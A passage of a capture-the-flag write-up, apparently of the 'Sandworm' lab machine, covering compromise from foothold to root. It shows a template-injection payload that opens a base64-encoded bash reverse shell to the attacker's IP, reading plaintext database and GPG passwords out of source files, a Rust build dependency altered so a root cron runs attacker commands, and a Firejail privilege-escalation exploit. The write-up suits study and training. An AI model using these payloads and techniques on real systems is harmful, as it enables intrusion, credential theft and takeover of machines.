91T8kD98wIjL3UXO/kruAqGPei3W6csT1syvVXs0XyjIZFrUlVnWVw+y3c7IuFz3
WvEvn+Nvye8K50LMH84Rswu8fKUldyWXBFd9ifOs3ms/Qye7F772r72Wdudgn3ji
ha2PONZc+Xj88UXpLg9WEdOKCoEXX+rM15yTvvE37/qz3E37Pff5LTOp1zBkDk2+
3u+72vp9scSzrrygPBv7m4sA
=JPF0
-----END PGP MESSAGE-----
I knew I could run commands on the server. I used that to get a reverse shell. I started by generating a base64 encoded reverse shell to make sure my payload did not have forbidden characters.
$ echo 'bash -i >& /dev/tcp/10.10.14.19/4444 0>&1 ' | base64
YmFzaCAgLWkgPiYgL2Rldi90Y3AvMTAuMTAuMTQuMTkvNDQ0NCAwPiYxICAK
Then I generated a new key, using the reverse shell code as the name.
$ gpg --full-generate-key
gpg (GnuPG) 2.2.40; Copyright (C) 2022 g10 Code GmbH
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.
...
Real name: {{request.application.__globals__.__builtins__.__import__('os').popen('echo -n YmFzaCAgLWkgPiYgL2Rldi90Y3AvMTAuMTAuMTQuMTkvNDQ0NCAwPiYxICAK|base64 -d | bash').read()}}
Email address: test@test.com
I started a netcat listener on my machine, then sent a message signed with that key.
$ nc -klvnp 4444
listening on [any] 4444 ...
connect to [10.10.14.19] from (UNKNOWN) [10.129.229.16] 39356
bash: cannot set terminal process group (-1): Inappropriate ioctl for device
bash: no job control in this shell
/usr/local/sbin/lesspipe: 1: dirname: not found
atlas@sandworm:/var/www/html/SSA$ whoami
whoami
Could not find command-not-found database. Run 'sudo apt update' to populate it.
whoami: command not found
atlas@sandworm:/var/www/html/SSA$
User silentobserver
Once connected to the server, I quickly found I couldn’t do much on it.
atlas@sandworm:/var/www/html/SSA$ whoami
whoami
Could not find command-not-found database. Run 'sudo apt update' to populate it.
whoami: command not found
atlas@sandworm:/var/www/html/SSA$ id
id
uid=1000(atlas) gid=1000(atlas) groups=1000(atlas)
atlas@sandworm:/var/www/html/SSA$ sudo -l
sudo -l
Could not find command-not-found database. Run 'sudo apt update' to populate it.
sudo: command not found
atlas@sandworm:/var/www/html/SSA$ find / -perm /u=s
find / -perm /u=s
Could not find command-not-found database. Run 'sudo apt update' to populate it.
find: command not found
atlas@sandworm:/var/www/html/SSA$ ps aux --forest
ps aux --forest
Could not find command-not-found database. Run 'sudo apt update' to populate it.
ps: command not found
atlas@sandworm:/var/www/html/SSA$ which curl
which curl
Could not find command-not-found database. Run 'sudo apt update' to populate it.
which: command not found
atlas@sandworm:/var/www/html/SSA$ which wget
which wget
Could not find command-not-found database. Run 'sudo apt update' to populate it.
which: command not found
atlas@sandworm:/var/www/html/SSA$ ls -l /bin
ls -l /bin
lrwxrwxrwx 1 nobody nogroup 7 Apr 23 2020 /bin -> usr/bin
atlas@sandworm:/var/www/html/SSA$ ls -l /usr/bin
ls -l /usr/bin
total 14300
-rwxr-xr-x 1 nobody nogroup 35328 Sep 4 11:42 base64
-rwxr-xr-x 1 nobody nogroup 35328 Sep 4 11:42 basename
-rwxr-xr-x 1 nobody nogroup 1396520 Sep 4 11:42 bash
-rwxr-xr-x 1 nobody nogroup 35280 Sep 4 11:42 cat
-rwxr-xr-x 1 nobody nogroup 125688 Sep 4 11:42 dash
-rwxr-xr-x 1 nobody nogroup 948 Sep 4 11:42 flask
-rwxr-xr-x 1 nobody nogroup 4898752 Sep 4 11:42 gpg
-rwxr-xr-x 1 nobody nogroup 1960456 Sep 4 11:42 gpg-agent
-rwxr-xr-x 1 nobody nogroup 35328 Sep 4 11:42 groups
-rwxr-xr-x 1 nobody nogroup 39424 Sep 4 11:42 id
-rwxr-xr-x 1 nobody nogroup 9047 Sep 4 11:42 lesspipe
-rwxr-xr-x 1 nobody nogroup 138208 Sep 4 11:42 ls
lrwxrwxrwx 1 nobody nogroup 19 Sep 4 11:42 python3 -> /usr/bin/python3.10
-rwxr-xr-x 1 nobody nogroup 5912968 Sep 4 11:42 python3.10
lrwxrwxrwx 1 nobody nogroup 13 Sep 4 11:42 sh -> /usr/bin/dash
I thought I might be in a Docker container. But the hostname (sandworm) did not look like a Docker hostname. And there was no .dockerenv
file at the root.
atlas@sandworm:/var/www/html/SSA$ ls -la /
ls -la /
total 10628
drwxr-xr-x 19 nobody nogroup 4096 Jun 7 13:53 .
drwxr-xr-x 19 nobody nogroup 4096 Jun 7 13:53 ..
lrwxrwxrwx 1 nobody nogroup 7 Apr 23 2020 bin -> usr/bin
dr-------- 2 nobody nogroup 40 Sep 4 11:42 boot
drwxr-xr-x 2 nobody nogroup 4096 Jun 7 13:53 cdrom
-rw------- 1 nobody nogroup 10846208 Nov 24 2022 core
drwxr-xr-x 7 nobody nogroup 380 Sep 4 11:42 dev
drwxr-xr-x 109 nobody nogroup 4060 Sep 4 11:42 etc
drwxr-xr-x 4 nobody nogroup 4096 May 4 15:19 home
lrwxrwxrwx 1 nobody nogroup 7 Apr 23 2020 lib -> usr/lib
lrwxrwxrwx 1 nobody nogroup 9 Apr 23 2020 lib32 -> usr/lib32
lrwxrwxrwx 1 nobody nogroup 9 Apr 23 2020 lib64 -> usr/lib64
lrwxrwxrwx 1 nobody nogroup 10 Apr 23 2020 libx32 -> usr/libx32
drwx------ 2 nobody nogroup 16384 May 7 2020 lost+found
drwxr-xr-x 2 nobody nogroup 4096 Apr 23 2020 media
drwxr-xr-x 2 nobody nogroup 4096 Jun 7 13:53 mnt
drwxr-xr-x 2 nobody nogroup 40 Sep 4 11:42 opt
dr-xr-xr-x 274 nobody nogroup 0 Sep 4 11:42 proc
drwx------ 7 nobody nogroup 4096 Sep 4 11:43 root
drwxr-xr-x 29 nobody nogroup 840 Sep 4 11:42 run
lrwxrwxrwx 1 nobody nogroup 8 Apr 23 2020 sbin -> usr/sbin
drwxr-xr-x 2 nobody nogroup 4096 Jun 7 13:53 srv
dr-xr-xr-x 13 nobody nogroup 0 Sep 4 11:41 sys
drwxrwxrwt 3 nobody nogroup 60 Sep 4 11:42 tmp
drwxr-xr-x 14 nobody nogroup 4096 Jun 6 11:49 usr
drwxr-xr-x 3 nobody nogroup 60 Sep 4 11:42 var
I looked at the source code of the application. One file had the password used to connect to MySQL.
cat __init__.py
from flask import Flask
from flask_login import LoginManager
from flask_sqlalchemy import SQLAlchemy
db = SQLAlchemy()
def create_app():
app = Flask(__name__)
app.config['SECRET_KEY'] = '91668c1bc67132e3dcfb5b1a3e0c5c21'
app.config['SQLALCHEMY_DATABASE_URI'] = 'mysql://atlas:GarlicAndOnionZ42@127.0.0.1:3306/SSA'
db.init_app(app)
# blueprint for non-auth parts of app
from .app import main as main_blueprint
app.register_blueprint(main_blueprint)
login_manager = LoginManager()
login_manager.login_view = "main.login"
login_manager.init_app(app)
from .models import User
@login_manager.user_loader
def load_user(user_id):
return User.query.get(int(user_id))
return app
Another one had the passphrase used with GPG.
cat app.py
from flask import Flask, render_template, Response, flash, request, Blueprint, redirect, flash, url_for, render_template_string, jsonify
from flask_login import login_required, login_user, logout_user
from werkzeug.security import check_password_hash
import hashlib
from . import db
import os
from datetime import datetime
import gnupg
from SSA.models import User
main = Blueprint('main', __name__)
gpg = gnupg.GPG(gnupghome='/home/atlas/.gnupg', options=['--ignore-time-conflict'])
@main.route("/")
def home():
return render_template("index.html", name="home")
@main.route("/about")
def about():
return render_template("about.html", name="about")
@main.route("/contact", methods=('GET', 'POST',))
def contact():
if request.method == 'GET':
return render_template("contact.html", name="contact")
tip = request.form['encrypted_text']
if not validate(tip):
return render_template("contact.html", error_msg="Message is not PGP-encrypted.")
msg = gpg.decrypt(tip, passphrase='$M1DGu4rD$')
if msg.data == b'':
msg = 'Message was encrypted with an unknown PGP key.'
else:
tip = msg.data.decode('utf-8')
msg = "Thank you for your submission."
save(tip, request.environ.get('HTTP_X_REAL_IP', request.remote_addr))
return render_template("contact.html", error_msg=msg)
...
I tried both passwords with SSH, but they did not work. The MySQL client was not available, and I could not download Chisel on the machine to open a tunnel.
I looked at what was available in the home folders.
atlas@sandworm:/var/www/html/SSA/SSA$ ls /home
ls /home
atlas
silentobserver
atlas@sandworm:/var/www/html/SSA/SSA$ ls -la /home/silentobserver
ls -la /home/silentobserver
ls: cannot open directory '/home/silentobserver': Permission denied
atlas@sandworm:/var/www/html/SSA/SSA$ ls -la /home/atlas
ls -la /home/atlas
total 44
drwxr-xr-x 8 atlas atlas 4096 Jun 7 13:44 .
drwxr-xr-x 4 nobody nogroup 4096 May 4 15:19 ..
lrwxrwxrwx 1 nobody nogroup 9 Nov 22 2022 .bash_history -> /dev/null
-rw-r--r-- 1 atlas atlas 220 Nov 22 2022 .bash_logout
-rw-r--r-- 1 atlas atlas 3771 Nov 22 2022 .bashrc
drwxrwxr-x 2 atlas atlas 4096 Jun 6 08:49 .cache
drwxrwxr-x 3 atlas atlas 4096 Feb 7 2023 .cargo
drwxrwxr-x 4 atlas atlas 4096 Jan 15 2023 .config
drwx------ 4 atlas atlas 4096 Sep 4 11:54 .gnupg
drwxrwxr-x 6 atlas atlas 4096 Feb 6 2023 .local
-rw-r--r-- 1 atlas atlas 807 Nov 22 2022 .profile
drwx------ 2 atlas atlas 4096 Feb 6 2023 .ssh
atlas@sandworm:/var/www/html/SSA/SSA$ ls -la ~/.ssh
ls -la ~/.ssh
total 8
drwx------ 2 atlas atlas 4096 Feb 6 2023 .
drwxr-xr-x 8 atlas atlas 4096 Jun 7 13:44 ..
The .ssh/
folder got me interested. But there was no key in it. I tried to insert mine.
atlas@sandworm:~$ echo 'PUBLIC KEY' >> ~/.ssh/authorized_keys
echo 'mykey' >> ~/.ssh/authorized_keys
bash: /home/atlas/.ssh/authorized_keys: Read-only file system
The home folder was readonly. I kept looking around.
atlas@sandworm:~$ ls -la .cache
ls -la .cache
total 8
drwxrwxr-x 2 atlas atlas 4096 Jun 6 08:49 .
drwxr-xr-x 8 atlas atlas 4096 Jun 7 13:44 ..
-rw-r--r-- 1 atlas atlas 0 Feb 6 2023 motd.legal-displayed
atlas@sandworm:~$ ls -la .cargo
ls -la .cargo
total 12
drwxrwxr-x 3 atlas atlas 4096 Feb 7 2023 .
drwxr-xr-x 8 atlas atlas 4096 Jun 7 13:44 ..
-rw-rw-r-- 1 atlas atlas 0 Feb 7 2023 .package-cache
drwxrwxr-x 5 atlas atlas 4096 Jun 6 08:24 registry
atlas@sandworm:~$ ls -la .config
ls -la .config
total 12
drwxrwxr-x 4 atlas atlas 4096 Jan 15 2023 .
drwxr-xr-x 8 atlas atlas 4096 Jun 7 13:44 ..
dr-------- 2 nobody nogroup 40 Sep 4 11:42 firejail
drwxrwxr-x 3 nobody atlas 4096 Jan 15 2023 httpie
The firejail folder was promising. I’ve seen a recent ippsec video where he escaped Firejail in Cerebrus.
I found a Python script that would allow me to get root using Firejail. But I could not run the firejail command.
atlas@sandworm:~$ firejail
firejail
Could not find command-not-found database. Run 'sudo apt update' to populate it.
firejail: command not found
I kept looking in the home folder and I found some credentials in a configuration file.
atlas@sandworm:/var/www/html/SSA/SSA$ cat ~/.config/httpie/sessions/localhost_5000/admin.json
{
"__meta__": {
"about": "HTTPie session file",
"help": "https://httpie.io/docs#sessions",
"httpie": "2.6.0"
},
"auth": {
"password": "REDACTED",
"type": null,
"username": "silentobserver"
},
"cookies": {
"session": {
"expires": null,
"path": "/",
"secure": false,
"value": "eyJfZmxhc2hlcyI6W3siIHQiOlsibWVzc2FnZSIsIkludmFsaWQgY3JlZGVudGlhbHMuIl19XX0.Y-I86w.JbELpZIwyATpR58qg1MGJsd6FkA"
}
},
"headers": {
"Accept": "application/json, */*;q=0.5"
}
}
I used the credentials to reconnect with SSH.
$ ssh silentobserver@target
silentobserver@target's password:
Welcome to Ubuntu 22.04.2 LTS (GNU/Linux 5.15.0-73-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage
System information as of Sat Sep 2 04:49:42 PM UTC 2023
System load: 0.0
Usage of /: 76.7% of 11.65GB
Memory usage: 16%
Swap usage: 0%
Processes: 228
Users logged in: 0
IPv4 address for eth0: 10.129.229.16
IPv6 address for eth0: dead:beef::250:56ff:feb0:6493
* Strictly confined Kubernetes makes edge and IoT secure. Learn how MicroK8s
just raised the bar for easy, resilient and secure K8s cluster deployment.
https://ubuntu.com/engage/secure-kubernetes-at-the-edge
Expanded Security Maintenance for Applications is not enabled.
0 updates can be applied immediately.
Enable ESM Apps to receive additional future security updates.
See https://ubuntu.com/esm or run: sudo pro status
The list of available updates is more than a week old.
To check for new updates run: sudo apt update
Last login: Mon Jun 12 12:03:09 2023 from 10.10.14.31
silentobserver@sandworm:~$ ls -la
total 40
drwxr-x--- 6 silentobserver silentobserver 4096 Jun 6 08:52 .
drwxr-xr-x 4 root root 4096 May 4 15:19 ..
lrwxrwxrwx 1 root root 9 Nov 22 2022 .bash_history -> /dev/null
-rw-r--r-- 1 silentobserver silentobserver 220 Nov 22 2022 .bash_logout
-rw-r--r-- 1 silentobserver silentobserver 3771 Nov 22 2022 .bashrc
drwx------ 2 silentobserver silentobserver 4096 May 4 15:26 .cache
drwxrwxr-x 3 silentobserver silentobserver 4096 May 4 16:59 .cargo
drwx------ 4 silentobserver silentobserver 4096 May 4 15:22 .gnupg
drwx------ 4 silentobserver silentobserver 4096 Nov 22 2022 .local
-rw-r--r-- 1 silentobserver silentobserver 807 Nov 22 2022 .profile
-rw-r----- 1 root silentobserver 33 Sep 2 16:19 user.txt
silentobserver@sandworm:~$ cat user.txt
REDACTED
User atlas
I was finally out of the jail. I looked for ways to become root.
silentobserver@sandworm:~$ sudo -l
[sudo] password for silentobserver:
Sorry, user silentobserver may not run sudo on localhost.
silentobserver@sandworm:~$ find / -perm /u=s -ls 2>/dev/null
13323 57668 -rwsrwxr-x 2 atlas atlas 59047248 Jun 6 10:00 /opt/tipnet/target/debug/tipnet
11566 54924 -rwsrwxr-x 1 atlas atlas 56234960 May 4 18:06 /opt/tipnet/target/debug/deps/tipnet-a859bd054535b3c1
13323 57668 -rwsrwxr-x 2 atlas atlas 59047248 Jun 6 10:00 /opt/tipnet/target/debug/deps/tipnet-dabc93f7704f7b48
1344 1740 -rwsr-x--- 1 root jailer 1777952 Nov 29 2022 /usr/local/bin/firejail
10841 36 -rwsr-xr-- 1 root messagebus 35112 Oct 25 2022 /usr/lib/dbus-1.0/dbus-daemon-launch-helper
14179 332 -rwsr-xr-x 1 root root 338536 Nov 23 2022 /usr/lib/openssh/ssh-keysign
7154 20 -rwsr-xr-x 1 root root 18736 Feb 26 2022 /usr/libexec/polkit-agent-helper-1
5693 48 -rwsr-xr-x 1 root root 47480 Feb 21 2022 /usr/bin/mount
6360 228 -rwsr-xr-x 1 root root 232416 Apr 3 18:00 /usr/bin/sudo
6579 72 -rwsr-xr-x 1 root root 72072 Nov 24 2022 /usr/bin/gpasswd
5818 36 -rwsr-xr-x 1 root root 35192 Feb 21 2022 /usr/bin/umount
6580 60 -rwsr-xr-x 1 root root 59976 Nov 24 2022 /usr/bin/passwd
6152 44 -rwsr-xr-x 1 root root 44808 Nov 24 2022 /usr/bin/chsh
6151 72 -rwsr-xr-x 1 root root 72712 Nov 24 2022 /usr/bin/chfn
6564 40 -rwsr-xr-x 1 root root 40496 Nov 24 2022 /usr/bin/newgrp
9004 56 -rwsr-xr-x 1 root root 55672 Feb 21 2022 /usr/bin/su
5108 36 -rwsr-xr-x 1 root root 35200 Mar 23 2022 /usr/bin/fusermount3
silentobserver@sandworm:~$ groups
silentobserver
silentobserver@sandworm:~$ /usr/local/bin/firejail
-bash: /usr/local/bin/firejail: Permission denied
Firejail had the suid bit set. But I was not in the ‘jailer’ group, so I could not execute it.
I uploaded pspy and ran it to see what was running on the server.
2023/09/02 17:02:01 CMD: UID=0 PID=2889 | /usr/sbin/CRON -f -P
2023/09/02 17:02:01 CMD: UID=0 PID=2888 | /usr/sbin/CRON -f -P
2023/09/02 17:02:01 CMD: UID=0 PID=2892 | /bin/sudo -u atlas /usr/bin/cargo run --offline
2023/09/02 17:02:01 CMD: UID=0 PID=2890 | /bin/sh -c cd /opt/tipnet && /bin/echo "e" | /bin/sudo -u atlas /usr/bin/cargo run --offline
2023/09/02 17:02:01 CMD: UID=0 PID=2893 | /bin/sh -c sleep 10 && /root/Cleanup/clean_c.sh
2023/09/02 17:02:01 CMD: UID=0 PID=2894 | sleep 10
2023/09/02 17:02:01 CMD: UID=0 PID=2895 | /bin/sudo -u atlas /usr/bin/cargo run --offline
2023/09/02 17:02:01 CMD: UID=1000 PID=2896 | /usr/bin/cargo run --offline
2023/09/02 17:02:01 CMD: UID=1000 PID=2897 | rustc - --crate-name ___ --print=file-names --crate-type bin --crate-type rlib --crate-type dylib --crate-type cdylib --crate-type staticlib --crate-type proc-macro -Csplit-debuginfo=packed
2023/09/02 17:02:01 CMD: UID=1000 PID=2899 | rustc - --crate-name ___ --print=file-names --crate-type bin --crate-type rlib --crate-type dylib --crate-type cdylib --crate-type staticlib --crate-type proc-macro --print=sysroot --print=cfg
2023/09/02 17:02:01 CMD: UID=1000 PID=2901 | rustc -vV
2023/09/02 17:02:11 CMD: UID=0 PID=2905 | /bin/bash /root/Cleanup/clean_c.sh
2023/09/02 17:02:11 CMD: UID=0 PID=2906 | /bin/rm -r /opt/crates
2023/09/02 17:02:11 CMD: UID=0 PID=2907 | /bin/bash /root/Cleanup/clean_c.sh
2023/09/02 17:02:11 CMD: UID=0 PID=2908 | /usr/bin/chmod u+s /opt/tipnet/target/debug/tipnet
There was a cron that ran Cargo, the Rust package manager and compiled an application every two minutes. I ignored it at first, I was trying to get to root, not go back to the user atlas.
I kept looking at the server. I found some credentials in the database, but failed to crack the hashes. Eventually I remembered that the shell I had as atlas was very limited because it was in a jail. Maybe if I could have a normal shell as atlas, I would be able to do more. The firejail exploit looked like an interesting possibility.
I took a second look at what the cron was doing. It compiled the ‘tipnet’ application. I was not able to modify files in this application.
silentobserver@sandworm:~$ ls -l /opt/tipnet/
total 92
-rw-rw-r-- 1 atlas atlas 28165 Sep 4 13:24 access.log
-rw-r--r-- 1 root atlas 46161 May 4 16:38 Cargo.lock
-rw-r--r-- 1 root atlas 288 May 4 15:50 Cargo.toml
drwxr-xr-x 2 root atlas 4096 Jun 6 11:49 src
drwxr-xr-x 3 root atlas 4096 Jun 6 11:49 target
silentobserver@sandworm:~$ ls -l /opt/tipnet/src/
total 8
-rwxr-xr-- 1 root atlas 5795 May 4 16:55 main.rs
silentobserver@sandworm:~$ ls -l /opt/tipnet/src/
total 8
-rwxr-xr-- 1 root atlas 5795 May 4 16:55 main.rs
silentobserver@sandworm:~$ ls -l /opt/tipnet/target/
total 8
-rwxr-xr-- 1 root atlas 177 Feb 8 2023 CACHEDIR.TAG
drwxrwxr-x 7 root atlas 4096 Jun 6 11:49 debug
The user atlas had some write permission. But the folder was not mounted in the jail.
atlas@sandworm:~$ ls -l /opt
ls -l /opt
total 0
The cron was also running Cargo before it compiled the application. I looked at the application ‘Cargo.toml’ file.
[package]
name = "tipnet"
version = "0.1.0"
edition = "2021"
# See more keys and their definitions at https://doc.rust-lang.org/cargo/reference/manifest.html
[dependencies]
chrono = "0.4"
mysql = "23.0.1"
nix = "0.18.0"
logger = {path = "../crates/logger"}
sha2 = "0.9.0"
hex = "0.4.3"
It included a local library, and I was able to write to the source file of this library.
silentobserver@sandworm:~$ ls -l /opt/crates/logger/
total 24
-rw-r--r-- 1 atlas silentobserver 11644 May 4 17:11 Cargo.lock
-rw-r--r-- 1 atlas silentobserver 190 May 4 17:08 Cargo.toml
drwxrwxr-x 2 atlas silentobserver 4096 May 4 17:12 src
drwxrwxr-x 3 atlas silentobserver 4096 May 4 17:08 target
silentobserver@sandworm:~$ ls -l /opt/crates/logger/src/
total 4
-rw-rw-r-- 1 atlas silentobserver 732 May 4 17:12 lib.rs
To validate that I could use it, I modify the logger source code to create a file in /tmp
. I used Command to run instructions on the server.
extern crate chrono;
use std::fs::OpenOptions;
use std::io::Write;
use chrono::prelude::*;
use std::process::Command;
pub fn log(user: &str, query: &str, justification: &str) {
Command::new("touch")
.args(["/tmp/pwn"])
.spawn()
.expect("pwn command failed to start");
let now = Local::now();
let timestamp = now.format("%Y-%m-%d %H:%M:%S").to_string();
let log_message = format!("[{}] - User: {}, Query: {}, Justification: {}\n", timestamp, user, query, justification);
...
My first attempt failed. Some script was overwriting my changes. I copied the original file in my home folder and modified the copy. Then I used watch
to overwrite the original source file with my copy every second.
watch -n1 -d cp ~/lib.rs /opt/crates/logger/src/lib.rs
I waited for the cron to run. When it did, a new file appeared in /tmp
.
silentobserver@sandworm:~$ ls -ltr /tmp/
total 20
drwx------ 3 root root 4096 Sep 4 11:42 systemd-private-d00baca0a019457d8da685debcebb650-systemd-resolved.service-eeJseY
drwx------ 3 root root 4096 Sep 4 11:42 systemd-private-d00baca0a019457d8da685debcebb650-systemd-timesyncd.service-4zJ9OS
drwx------ 3 root root 4096 Sep 4 11:42 systemd-private-d00baca0a019457d8da685debcebb650-systemd-logind.service-GRcAPR
drwx------ 3 root root 4096 Sep 4 11:42 systemd-private-d00baca0a019457d8da685debcebb650-ModemManager.service-B7NLVN
drwx------ 2 root root 4096 Sep 4 11:43 vmware-root_818-2957124693
-rw-rw-r-- 1 atlas atlas 0 Sep 4 13:42 pwn
I saved my SSH public key on the server, and modified the code to copy it in atlas’ home folder.
pub fn log(user: &str, query: &str, justification: &str) {
Command::new("cp")
.args(["/tmp/authorized_keys", "/home/atlas/.ssh/"])
.spawn()
.expect("ls command failed to start");
I used the same technique to make sure my modifications were present when the code was compiled and waited for the cron to run.
Then I reconnected as atlas.
$ ssh atlas@target
Welcome to Ubuntu 22.04.2 LTS (GNU/Linux 5.15.0-73-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage
System information as of Mon Sep 4 01:48:13 PM UTC 2023
System load: 0.0
Usage of /: 77.0% of 11.65GB
Memory usage: 22%
Swap usage: 0%
Processes: 229
Users logged in: 1
IPv4 address for eth0: 10.129.229.16
IPv6 address for eth0: dead:beef::250:56ff:feb0:7089
* Strictly confined Kubernetes makes edge and IoT secure. Learn how MicroK8s
just raised the bar for easy, resilient and secure K8s cluster deployment.
https://ubuntu.com/engage/secure-kubernetes-at-the-edge
Expanded Security Maintenance for Applications is not enabled.
0 updates can be applied immediately.
Enable ESM Apps to receive additional future security updates.
See https://ubuntu.com/esm or run: sudo pro status
The list of available updates is more than a week old.
To check for new updates run: sudo apt update
Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings
atlas@sandworm:~$
root
Once connected as atlas, I had a pretty good idea of the path to root. I confirmed that I could run firejail now that I was outside the jail.
atlas@sandworm:~$ groups
atlas jailer
atlas@sandworm:~$ ls -l /usr/local/bin/firejail
-rwsr-x--- 1 root jailer 1777952 Nov 29 2022 /usr/local/bin/firejail
I was in the jailer group, so I could run it. I downloaded the exploit script I found earlier and ran it.
atlas@sandworm:~$ ./exploit.py
You can now run 'firejail --join=6158' in another terminal to obtain a shell where 'sudo su -' should grant you a root shell.
I opened a new terminal and joined the jail the script created.
atlas@sandworm:~$ /usr/local/bin/firejail --join=6158
changing root to /proc/6158/root
Warning: cleaning all supplementary groups
Child process initialized in 3.99 ms
atlas@sandworm:~$ sudo su -
atlas is not in the sudoers file. This incident will be reported.
atlas@sandworm:~$ su
root@sandworm:/home/atlas# cat /root/root.txt
REDACTED